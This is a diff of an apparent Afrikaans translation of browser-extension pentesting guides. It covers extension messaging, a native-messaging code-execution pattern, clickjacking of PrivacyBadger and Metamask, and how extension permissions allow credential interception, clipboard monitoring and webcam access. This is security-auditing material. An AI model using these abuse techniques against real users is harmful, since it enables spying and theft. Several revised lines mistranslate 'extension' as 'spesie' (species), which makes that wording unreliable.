@@ -482,11 +482,11 @@ Jy kan ook 'n voorbeeld van 'n **DOM-gebaseerde XSS om 'n blaaiers uitbreiding t
browext-xss-example.md
{{#endref}}
-## Inhoudskrip **↔︎** Agtergrond Skrip Kommunikasie
+## Inhoud Skrip **↔︎** Agtergrond Skrip Kommunikasie
-'n Inhoudskrip kan die funksies [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **of** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) gebruik om 'n **eenmalige JSON-serialiseerbare** boodskap te stuur.
+'n Inhoud Skrip kan die funksies [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **of** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) gebruik om 'n **eenmalige JSON-serialiseerbare** boodskap te stuur.
-Om die **antwoord** te hanteer, gebruik die teruggegee **Promise**. Alhoewel, vir agterwaartse kompatibiliteit, kan jy steeds 'n **callback** as die laaste argument deurgee.
+Om die **antwoord** te hanteer, gebruik die teruggegee **Promise**. Alhoewel, vir agterwaartse kompatibiliteit, kan jy steeds 'n **terugroep** as die laaste argument deurgee.
Om 'n versoek van 'n **inhoudskrip** te stuur lyk soos volg:
```javascript
@@ -496,7 +496,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
console.log(response)
})()
```
-'n Versoek stuur vanaf die **uitbreiding** (gewoonlik 'n **agtergrondskrip**). Voorbeeld van hoe om 'n boodskap na die inhoudskrip in die geselekteerde oortjie te stuur:
+Stuur 'n versoek vanaf die **uitbreiding** (gewoonlik 'n **agtergrondskrip**). Voorbeeld van hoe om 'n boodskap na die inhoudskrip in die geselekteerde oortjie te stuur:
```javascript
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
;(async () => {
@@ -521,7 +521,7 @@ sender.tab
if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
})
```
-In die voorbeeld wat uitgelig is, is **`sendResponse()`** in 'n sinchroniese wyse uitgevoer. Om die `onMessage` gebeurtenis hanteraar te wysig vir asynchrone uitvoering van `sendResponse()`, is dit noodsaaklik om `return true;` in te sluit.
+In die voorbeeld wat uitgelig is, **`sendResponse()`** is in 'n sinchroniese wyse uitgevoer. Om die `onMessage` gebeurtenis hanteraar te wysig vir asynchrone uitvoering van `sendResponse()`, is dit noodsaaklik om `return true;` in te sluit.
'n Belangrike oorweging is dat in scenario's waar verskeie bladsye ingestel is om `onMessage` gebeurtenisse te ontvang, **die eerste bladsy wat `sendResponse()`** vir 'n spesifieke gebeurtenis uitvoer, die enigste een sal wees wat die respons effektief kan lewer. Enige daaropvolgende respons op dieselfde gebeurtenis sal nie in ag geneem word nie.
@@ -558,7 +558,7 @@ console.log("Received " + response)
```
In [**hierdie blogpos**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), 'n kwesbare patroon wat inheemse boodskappe misbruik, word voorgestel:
-1. Die blaaierspesialis het 'n wildcard-patroon vir inhoudskrip.
+1. Die blaaierspesialis het 'n wildcard patroon vir inhoudskrip.
2. Inhoudskrip stuur `postMessage` boodskappe na die agtergrondskrip met behulp van `sendMessage`.
3. Agtergrondskrip stuur die boodskap na die inheemse toepassing met `sendNativeMessage`.
4. Inheemse toepassing hanteer die boodskap gevaarlik, wat lei tot kode-uitvoering.
@@ -575,7 +575,7 @@ Natuurlik, moenie **sensitiewe inligting in die kode plaas nie**, aangesien dit
Om geheue van die blaaier te dump kan jy **die prosesgeheue dump** of om na die **instellings** van die blaaierspesialis te gaan, klik op **`Inspect pop-up`** -> In die **`Memory`** afdeling -> **`Neem 'n snapshot`** en **`CTRL+F`** om binne die snapshot na sensitiewe inligting te soek.
-Boonop, hoogs sensitiewe inligting soos mnemonic sleutels of wagwoorde **moet nie toegelaat word om in die klips gekopieer te word nie** (of ten minste dit binne 'n paar sekondes uit die klips verwyder) omdat prosesse wat die klips monitor, dit dan kan verkry.
+Boonop, hoogs sensitiewe inligting soos mnemonic sleutels of wagwoorde **moet nie toegelaat word om in die klips gekopieer te word nie** (of ten minste verwyder dit uit die klips binne 'n paar sekondes) omdat dan prosesse wat die klips monitor, dit sal kan kry.
## Laai 'n Spesialis in die Blaaier
@@ -585,7 +585,7 @@ Boonop, hoogs sensitiewe inligting soos mnemonic sleutels of wagwoorde **moet ni
In **Firefox** gaan jy na **`about:debugging#/runtime/this-firefox`** en klik op die **`Laai Tydelike Byvoeging`** knoppie.
-## Verkry die bronkode van die winkel
+## Kry die bronkode van die winkel
Die bronkode van 'n Chrome spesialis kan deur verskeie metodes verkry word. Hieronder is gedetailleerde verduidelikings en instruksies vir elke opsie.
@@ -631,14 +631,14 @@ Maak Chrome oop en gaan na `chrome://extensions/`. Aktiveer "Ontwikkelaar modus"
## Chrome uitbreiding manifest dataset
-Om te probeer om kwesbare blaaiers-uitbreidings te identifiseer, kan jy die [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) gebruik en hul manifest lêers nagaan vir potensieel kwesbare tekens. Byvoorbeeld om te kyk vir uitbreidings met meer as 25000 gebruikers, `content_scripts` en die toestemming `nativeMessaing`:
+Om te probeer om kwesbare blaaier-uitbreidings te identifiseer, kan jy die [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) gebruik en hul manifestlêers nagaan vir potensieel kwesbare tekens. Byvoorbeeld om te kyk vir uitbreidings met meer as 25000 gebruikers, `content_scripts` en die toestemming `nativeMessaing`:
```bash
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
```
## Sekuriteitsoudit Kontrolelys
-Alhoewel Blaaieruitbreidings 'n **beperkte aanvaloppervlak** het, kan sommige van hulle **kwesbaarhede** of **potensiële versterkingsverbeterings** bevat. Die volgende is die mees algemene:
+Alhoewel Bladsy-uitbreidings 'n **beperkte aanvaloppervlak** het, kan sommige van hulle **kwesbaarhede** of **potensiële versterkingsverbeterings** bevat. Die volgende is die mees algemene:
- [ ] **Beperk** so veel as moontlik aangevraagde **`permissions`**
- [ ] **Beperk** so veel as moontlik **`host_permissions`**
@@ -650,15 +650,15 @@ Alhoewel Blaaieruitbreidings 'n **beperkte aanvaloppervlak** het, kan sommige va
- [ ] As enige **kommunikasie** plaasvind van die **uitbreiding** na die **webblad**, [**kyk vir XSS**](browext-xss-example.md) **kwesbaarhede** wat in die kommunikasie veroorsaak word.
- [ ] As Post Boodskappe gebruik word, kyk vir [**Post Boodskap kwesbaarhede**](../postmessage-vulnerabilities/)**.**
- [ ] As die **Inhoud Skrip toegang tot DOM besonderhede** het, kyk dat hulle **nie 'n XSS** inbring as hulle **gewysig** word deur die web nie.
-- [ ] Maak 'n spesiale klem as hierdie kommunikasie ook betrokke is in die **Inhoud Skrip -> Agtergrondskrip kommunikasie**
-- [ ] As die agtergrondskrip kommunikeer via **natuurlike boodskappe**, kyk dat die kommunikasie veilig en gesaniteer is.
-- [ ] **Sensitiewe inligting moet nie gestoor word** binne die Blaaieruitbreiding **kode** nie.
-- [ ] **Sensitiewe inligting moet nie gestoor word** binne die Blaaieruitbreiding **geheue** nie.
+- [ ] Maak 'n spesiale klem as hierdie kommunikasie ook betrokke is in die **Inhoud Skrip -> Agtergrond skrip kommunikasie**
+- [ ] As die agtergrond skrip kommunikeer via **natuurlike boodskappe**, kyk dat die kommunikasie veilig en gesuiwer is.
+- [ ] **Sensitiewe inligting moet nie gestoor word** binne die Bladsy-uitbreiding **kode** nie.
+- [ ] **Sensitiewe inligting moet nie gestoor word** binne die Bladsy-uitbreiding **geheue** nie.
- [ ] **Sensitiewe inligting moet nie gestoor word** binne die **lêerstelsel onbeskermd** nie.
-## Blaaieruitbreiding Risiko's
+## Bladsy-uitbreiding Risiko's
-- Die app [https://crxaminer.tech/](https://crxaminer.tech/) analiseer sekere data soos die toestemmings wat die blaaiersuitbreiding versoek om 'n risikoniveau van die gebruik van die blaaiersuitbreiding te gee.
+- Die app [https://crxaminer.tech/](https://crxaminer.tech/) analiseer sekere data soos die toestemmings wat die bladsy-uitbreiding versoek om 'n risikoniveau van die gebruik van die bladsy-uitbreiding te gee.
## Gereedskap
@@ -666,30 +666,30 @@ Alhoewel Blaaieruitbreidings 'n **beperkte aanvaloppervlak** het, kan sommige va
- Trek enige Chrome-uitbreiding van 'n gegewe Chrome-webwinkel skakel.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **kyker**: vertoon eenvoudig 'n JSON-verfraaide weergawe van die uitbreiding se manifest.
-- **Vingerafdrukanalise**: Ontdekking van [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) en outomatiese generering van Chrome-uitbreiding vingerafdruk JavaScript.
-- **Potensiële Clickjacking Analise**: Ontdekking van uitbreiding HTML-bladsye met die [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) riglyn ingestel. Hierdie is potensieel kwesbaar vir clickjacking afhangende van die doel van die bladsye.
-- **Toestemming Waarskuwing(s) kyker**: wat 'n lys van al die Chrome toestemming prompt waarskuwings vertoon wat vertoon sal word wanneer 'n gebruiker probeer om die uitbreiding te installeer.
-- **Gevaarlike Funksie(s)**: wys die ligging van gevaarlike funksies wat potensieel deur 'n aanvaller uitgebuit kan word (bv. funksies soos innerHTML, chrome.tabs.executeScript).
-- **Ingangspunt(e)**: wys waar die uitbreiding gebruiker/externe insette ontvang. Dit is nuttig om 'n uitbreiding se oppervlakarea te verstaan en te soek na potensiële punte om kwaadwillig saamgestelde data na die uitbreiding te stuur.
+- **Vingerafdrukanalise**: Opsporing van [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) en outomatiese generering van Chrome-uitbreiding vingerafdruk JavaScript.
+- **Potensiële Clickjacking Analise**: Opsporing van uitbreiding HTML-bladsye met die [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) riglyn ingestel. Hierdie is potensieel kwesbaar vir clickjacking afhangende van die doel van die bladsye.
+- **Toestemming Waarskuwing(s) kyker**: wat 'n lys van al die Chrome toestemming prompt waarskuwings toon wat vertoon sal word wanneer 'n gebruiker probeer om die uitbreiding te installeer.
+- **Gevaarlike Funksie(s)**: toon die ligging van gevaarlike funksies wat potensieel deur 'n aanvaller uitgebuit kan word (bv. funksies soos innerHTML, chrome.tabs.executeScript).
+- **Ingangspunt(e)**: toon waar die uitbreiding gebruiker/externe insette ontvang. Dit is nuttig om 'n uitbreiding se oppervlakarea te verstaan en te soek na potensiële punte om kwaadwillig saamgestelde data na die uitbreiding te stuur.
- Beide die Gevaarlike Funksie(s) en Ingangspunt(e) skandeerders het die volgende vir hul gegenereerde waarskuwings:
- Betrokke kode-snipper en lyn wat die waarskuwing veroorsaak het.
- Beskrywing van die probleem.
- 'n "Sien Lêer" knoppie om die volle bronne lêer wat die kode bevat te sien.
- Die pad van die gewaarskuwe lêer.
- Die volle Chrome-uitbreiding URI van die gewaarskuwe lêer.
-- Die tipe lêer wat dit is, soos 'n Agtergrondbladskrip, Inhoud Skrip, Blaaier Aksie, ens.
+- Die tipe lêer wat dit is, soos 'n Agtergrondbladskrip, Inhoud Skrip, Bladsy Aksie, ens.
- As die kwesbare lyn in 'n JavaScript-lêer is, die pades van al die bladsye waar dit ingesluit is sowel as hierdie bladsye se tipe, en [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) status.
-- **Inhoud Sekuriteitsbeleid (CSP) analise en omseil kontroleerder**: Dit sal swakhede in jou uitbreiding se CSP uitwys en sal ook enige potensiële maniere om jou CSP te omseil as gevolg van gewhitelist CDNs, ens. belig.
+- **Inhoud Sekuriteitsbeleid (CSP) analise en omseiling kontroleerder**: Dit sal swakhede in jou uitbreiding se CSP uitwys en sal ook enige potensiële maniere om jou CSP te omseil as gevolg van gewhitelist CDNs, ens.
- **Bekende Kwesbare Biblioteke**: Dit gebruik [Retire.js](https://retirejs.github.io/retire.js/) om te kyk vir enige gebruik van bekende kwesbare JavaScript biblioteke.
-- Laai uitbreiding en geformateerde weergawes af.
+- Laai uitbreiding en geformatteerde weergawes af.
- Laai die oorspronklike uitbreiding af.
- Laai 'n verfraaide weergawe van die uitbreiding af (outomaties verfraaide HTML en JavaScript).
-- Outomatiese kas van skandeer resultate, om 'n uitbreiding skandering te laat loop sal 'n goeie hoeveelheid tyd neem die eerste keer wat jy dit uitvoer. Maar die tweede keer, mits die uitbreiding nie opgedateer is nie, sal dit amper onmiddellik wees as gevolg van die resultate wat in die kas gestoor is.
+- Outomatiese kas van skandeer resultate, die uitvoering van 'n uitbreiding skandering sal 'n goeie hoeveelheid tyd neem die eerste keer wat jy dit uitvoer. Maar die tweede keer, mits die uitbreiding nie opgedateer is nie, sal dit amper onmiddellik wees as gevolg van die resultate wat in die kas gestoor is.
- Skakelbare Verslag URL's, maklik om iemand anders na 'n uitbreiding verslag wat deur tarnish gegenereer is te skakel.
### [Neto](https://github.com/elevenpaths/neto)
-Project Neto is 'n Python 3 pakket wat ontwerp is om versteekte funksies van blaaiersplugins en uitbreidings vir bekende blaaiers soos Firefox en Chrome te analiseer en te ontrafel. Dit outomatiseer die proses van die uitpak van die verpakte lêers om hierdie funksies uit relevante hulpbronne in 'n uitbreiding soos `manifest.json`, lokaliseringsmappes of Javascript en HTML bronne lêers te onttrek.
+Project Neto is 'n Python 3 pakket wat ontwerp is om versteekte funksies van blaaiers se plugins en uitbreidings vir bekende blaaiers soos Firefox en Chrome te analiseer en te ontrafel. Dit outomatiseer die proses van die uitpak van die verpakte lêers om hierdie funksies uit relevante hulpbronne in 'n uitbreiding soos `manifest.json`, lokaliseringsmappes of Javascript en HTML bronne lêers te onttrek.
## Verwysings
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
index 7ac92867a..b7ff7387e 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
@@ -19,7 +19,7 @@ Die **`web_accessible_resources`** in 'n blaaiers uitbreiding is nie net via die
- Die uitbreiding se toestand te verander
- Bykomende hulpbronne te laai
-- Met die blaaiers tot 'n sekere mate te kommunikeer
+- Met die blaaier tot 'n sekere mate te kommunikeer
Egter, hierdie kenmerk bied 'n sekuriteitsrisiko. As 'n hulpbron binne **`web_accessible_resources`** enige beduidende funksionaliteit het, kan 'n aanvaller moontlik hierdie hulpbron in 'n eksterne webblad inkorporeer. Onbewuste gebruikers wat hierdie bladsy besoek, mag per ongeluk hierdie ingekorporeerde hulpbron aktiveer. So 'n aktivering kan lei tot onvoorsiene gevolge, afhangende van die toestemmings en vermoëns van die uitbreiding se hulpbronne.
@@ -32,7 +32,7 @@ In die uitbreiding PrivacyBadger is 'n kwesbaarheid geïdentifiseer wat verband
"icons/*"
]
```
-Hierdie konfigurasie het gelei tot 'n potensiële sekuriteitsprobleem. Spesifiek, die `skin/popup.html` lêer, wat gerender word wanneer daar interaksie is met die PrivacyBadger ikoon in die blaaier, kan binne 'n `iframe` ingebed word. Hierdie inbedding kan uitgebuit word om gebruikers te mislei om per ongeluk op "Disable PrivacyBadger for this Website" te klik. So 'n aksie sou die gebruiker se privaatheid in gevaar stel deur die PrivacyBadger beskerming te deaktiveer en die gebruiker moontlik aan verhoogde opsporing bloot te stel. 'n Visuele demonstrasie van hierdie uitbuiting kan gesien word in 'n ClickJacking video voorbeeld wat verskaf word by [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
+Hierdie konfigurasie het gelei tot 'n potensiële sekuriteitsprobleem. Spesifiek, die `skin/popup.html` lêer, wat gerender word wanneer daar interaksie is met die PrivacyBadger ikoon in die blaaier, kan binne 'n `iframe` ingebed word. Hierdie inbedding kan uitgebuit word om gebruikers te mislei om per ongeluk op "Disable PrivacyBadger for this Website" te klik. So 'n aksie sou die gebruiker se privaatheid in gevaar stel deur die PrivacyBadger beskerming te deaktiveer en die gebruiker moontlik aan verhoogde opsporing bloot te stel. 'n Visuele demonstrasie van hierdie uitbuiting kan gesien word in 'n ClickJacking video voorbeeld wat beskikbaar is by [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
Om hierdie kwesbaarheid aan te spreek, is 'n eenvoudige oplossing geïmplementeer: die verwydering van `/skin/*` uit die lys van `web_accessible_resources`. Hierdie verandering het die risiko effektief verminder deur te verseker dat die inhoud van die `skin/` gids nie deur web-toeganklike hulpbronne toegang of gemanipuleer kon word nie.
@@ -79,7 +79,7 @@ src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
-**Nog 'n ClickJacking wat reggestel is** in die Metamask-uitbreiding was dat gebruikers in staat was om **Klik om te witlys** wanneer 'n bladsy verdag was om phishing te wees as gevolg van `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Aangesien daardie bladsy kwesbaar was vir Clickjacking, kon 'n aanvaller dit misbruik deur iets normaal te wys om die slagoffer te laat klik om dit te witlys sonder om dit te besef, en dan terug te gaan na die phishing-bladsy wat gewitlys sal word.
+**Nog 'n ClickJacking wat reggestel is** in die Metamask-uitbreiding was dat gebruikers in staat was om **Klik om te witlys** wanneer 'n bladsy verdag was om phishing te wees as gevolg van `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Aangesien daardie bladsy kwesbaar was vir Clickjacking, kon 'n aanvaller dit misbruik deur iets normaal te wys om die slagoffer te laat klik om dit te witlys sonder om dit te besef, en dan terug te gaan na die phishing-bladsy wat gewitlys sal wees.
## Steam Inventory Helper Voorbeeld
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
index 186b60a1c..95e4f34f6 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
@@ -37,71 +37,71 @@ Die volgende `host_permissions` laat basies elke web toe:
""
]
```
-Hierdie is die gasheer wat die blaaiers uitbreiding vrylik kan toegang. Dit is omdat wanneer 'n blaaiers uitbreiding **`fetch("https://gmail.com/")`** aanroep, dit nie deur CORS beperk word nie.
+Hierdie is die gasheer wat die blaaierspesie toegang kan verkry. Dit is omdat wanneer 'n blaaierspesie **`fetch("https://gmail.com/")`** aanroep, dit nie deur CORS beperk word nie.
## Misbruik van `permissions` en `host_permissions`
### Oortjies
-Boonop ontsluit **`host_permissions`** ook "gevorderde" [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **funksionaliteit.** Dit laat die uitbreiding toe om [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) aan te roep en nie net 'n **lys van die gebruiker se blaaiertabs** terug te kry nie, maar ook te leer watter **webblad (wat adres en titel beteken) gelaai is**.
+Boonop ontsluit **`host_permissions`** ook "gevorderde" [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **funksionaliteit.** Dit stel die spesie in staat om [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) aan te roep en nie net 'n **lys van die gebruiker se blaaiertabs** terug te kry nie, maar ook te leer watter **webblad (wat adres en titel beteken) gelaai is**.
> [!CAUTION]
> Nie net dit nie, luisteraars soos [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **word ook baie nuttiger.** Hierdie sal kennisgewing ontvang wanneer 'n nuwe bladsy in 'n tab laai.
### Loop inhoudskripte
-Inhoudskripte is nie noodwendig staties in die uitbreiding manifest geskryf nie. Gegewe voldoende **`host_permissions`**, **kan uitbreidings dit ook dinamies laai deur** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **of** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) aan te roep.
+Inhoudskripte is nie noodwendig staties in die spesie-manifes geskryf nie. Gegewe voldoende **`host_permissions`**, **kan spesies dit ook dinamies laai deur** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **of** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) aan te roep.
-Albei API's laat nie net die uitvoering van lêers wat in die uitbreidings as inhoudskripte bevat is toe nie, maar ook **arbitraire kode**. Die eerste laat die oorgang van JavaScript-kode as 'n string toe terwyl die laaste 'n JavaScript-funksie verwag wat minder geneig is tot inspuitingskwesbaarhede. Tog, albei API's sal chaos veroorsaak as dit verkeerd gebruik word.
+Albei API's stel die uitvoering van nie net lêers wat in die spesies as inhoudskripte bevat is nie, maar ook **arbitraire kode**. Die eerste stel die oorgang van JavaScript-kode as 'n string toe, terwyl die laaste 'n JavaScript-funksie verwag wat minder geneig is tot inspuitingskwesbaarhede. Tog, albei API's sal chaos veroorsaak as dit verkeerd gebruik word.
> [!CAUTION]
-> Benewens die bogenoemde vermoëns, kan inhoudskripte byvoorbeeld **akkrediteer** wanneer dit in webbladsye ingevoer word. 'N Ander klassieke manier om dit te misbruik is **om advertensies in te spuit** op elke webwerf. Dit is ook moontlik om **bedrogboodskappe** toe te voeg om die geloofwaardigheid van nuuswebwerwe te misbruik. Laastens kan hulle **bankwebwerwe manipuleer** om geldtransfers te herlei.
+> Benewens die bogenoemde vermoëns, kan inhoudskripte byvoorbeeld **akkrediteerbare inligting onderskep** soos dit in webbladsye ingevoer word. 'N Ander klassieke manier om dit te misbruik is **om advertensies in te spuit** op elke webwerf. Dit is ook moontlik om **bedrogboodskappe** toe te voeg om die geloofwaardigheid van nuuswebwerwe te misbruik. Laastens, kan hulle **bankwebwerwe manipuleer** om geldtransfers te herlei.
### Impliciete voorregte
-Sommige uitbreiding voorregte **hoef nie eksplisiet verklaar te word nie**. Een voorbeeld is die [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): sy basiese funksionaliteit is toeganklik sonder enige voorregte. Enige uitbreiding kan kennisgewing ontvang wanneer jy tabs oopmaak en sluit, dit sal net nie weet watter webwerf hierdie tabs ooreenstem nie.
+Sommige spesie voorregte **hoef nie eksplisiet verklaar te word nie**. Een voorbeeld is die [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): sy basiese funksionaliteit is toeganklik sonder enige voorregte. Enige spesie kan kennisgewing ontvang wanneer jy tabs oopmaak en sluit, dit sal net nie weet watter webwerf hierdie tabs ooreenstem nie.
Klink te onskadelik? Die [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) is ietwat minder so. Dit kan gebruik word om **'n nuwe tab te skep**, essensieel dieselfde as [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) wat deur enige webwerf aangeroep kan word. Tog, terwyl `window.open()` onderhewig is aan die **pop-up blokker, is `tabs.create()` nie**.
> [!CAUTION]
-> 'N uitbreiding kan enige aantal tabs skep wanneer dit wil.
+> 'N spesie kan enige aantal tabs skep wanneer dit wil.
-As jy deur moontlike `tabs.create()` parameters kyk, sal jy ook opgemerk dat sy vermoëns baie verder gaan as wat `window.open()` toegelaat word om te beheer. En terwyl Firefox nie toelaat dat `data:` URIs met hierdie API gebruik word nie, het Chrome nie so 'n beskerming nie. **Die gebruik van sulke URIs op die boonste vlak is** [**verbied weens misbruik vir phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
+As jy deur moontlike `tabs.create()` parameters kyk, sal jy ook opgemerk dat sy vermoëns baie verder strek as wat `window.open()` toegelaat word om te beheer. En terwyl Firefox nie toelaat dat `data:` URIs met hierdie API gebruik word nie, het Chrome nie so 'n beskerming nie. **Die gebruik van sulke URIs op die boonste vlak is** [**verbied weens misbruik vir phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
-[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) is baie soortgelyk aan `tabs.create()` maar sal **'n bestaande tab wysig**. So kan 'n kwaadwillige uitbreiding byvoorbeeld arbitrêr 'n advertensiebladsy in een van jou tabs laai, en dit kan ook die ooreenstemmende tab aktiveer.
+[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) is baie soortgelyk aan `tabs.create()` maar sal **'n bestaande tab wysig**. So kan 'n kwaadwillige spesie byvoorbeeld arbitrêr 'n advertensiebladsy in een van jou tabs laai, en dit kan ook die ooreenstemmende tab aktiveer.
-### Webcam, geolokasie en vriende
+### Webkamera, geolokasie en vriende
-Jy weet waarskynlik dat webwerwe spesiale toestemming kan vra, byvoorbeeld om toegang tot jou webcam (video konferensie gereedskap) of geografiese ligging (kaarte) te verkry. Dit is funksies met aansienlike potensiaal vir misbruik, so gebruikers moet elke keer bevestig dat hulle steeds dit wil hê.
+Jy weet waarskynlik dat webwerwe spesiale toestemming kan vra, byvoorbeeld om toegang tot jou webkamera (video-konferensietools) of geografiese ligging (kaarte) te verkry. Dit is funksies met aansienlike potensiaal vir misbruik, so gebruikers moet elke keer bevestig dat hulle steeds dit wil hê.
> [!CAUTION]
-> Nie so met blaaiers uitbreidings nie. **As 'n blaaiers uitbreiding** [**toegang tot jou webcam of mikrofoon wil hê**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, hoef dit net een keer toestemming te vra**
+> Nie so met blaaierspesies nie. **As 'n blaaierspesie** [**toegang tot jou webkamera of mikrofoon wil hê**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, hoef dit net een keer toestemming te vra**
-Tipies sal 'n uitbreiding dit onmiddellik na installasie doen. Sodra hierdie prompt aanvaar word, **is webcam toegang te enige tyd moontlik**, selfs al interaksie die gebruiker nie met die uitbreiding op hierdie punt nie. Ja, 'n gebruiker sal hierdie prompt net aanvaar as die uitbreiding regtig webcam toegang benodig. Maar daarna moet hulle die uitbreiding vertrou om niks geheim op te neem nie.
+Tipies sal 'n spesie dit onmiddellik na installasie doen. Sodra hierdie uitnodiging aanvaar word, **is toegang tot die webkamera te enige tyd moontlik**, selfs al interaksie die gebruiker nie met die spesie op hierdie punt nie. Ja, 'n gebruiker sal hierdie uitnodiging net aanvaar as die spesie regtig toegang tot die webkamera benodig. Maar daarna moet hulle die spesie vertrou om nie enigiets geheim op te neem nie.
-Met toegang tot [jou presiese geografiese ligging](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) of [inhoud van jou klembord](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), is dit glad nie nodig om toestemming eksplisiet te verleen nie. **'N uitbreiding voeg eenvoudig `geolocation` of `clipboard` by die** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **van sy manifest.** Hierdie toegang voorregte word dan implisiet toegestaan wanneer die uitbreiding geïnstalleer word. So 'n kwaadwillige of gecompromitteerde uitbreiding met hierdie voorregte kan jou bewegingsprofiel skep of jou klembord monitor vir gekopieerde wagwoorde sonder dat jy enigiets opgemerk het.
+Met toegang tot [jou presiese geografiese ligging](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) of [inhoud van jou klembord](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), is dit glad nie nodig om toestemming eksplisiet te verleen nie. **'N spesie voeg eenvoudig `geolocation` of `clipboard` by die** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **van sy manifes**. Hierdie toegang voorregte word dan implisiet toegestaan wanneer die spesie geïnstalleer word. So 'n kwaadwillige of gecompromitteerde spesie met hierdie voorregte kan jou bewegingsprofiel skep of jou klembord monitor vir gekopieerde wagwoorde sonder dat jy enigiets opmerk.
-Die toevoeging van die **`history`** sleutelwoord aan die [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) van die uitbreiding manifest verleen **toegang tot die** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Dit laat toe om die gebruiker se hele blaai geskiedenis alles op een slag te verkry, sonder om te wag vir die gebruiker om hierdie webwerwe weer te besoek.
+Die toevoeging van die **`history`** sleutelwoord aan die [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) van die spesie-manifes verleen **toegang tot die** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Dit stel in staat om die gebruiker se hele blaai geskiedenis in een keer te verkry, sonder om te wag vir die gebruiker om hierdie webwerwe weer te besoek.
-Die **`bookmarks`** **toestemming** het soortgelyke misbruik potensiaal, hierdie een laat **toe om alle boekmerke via die** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) te lees.
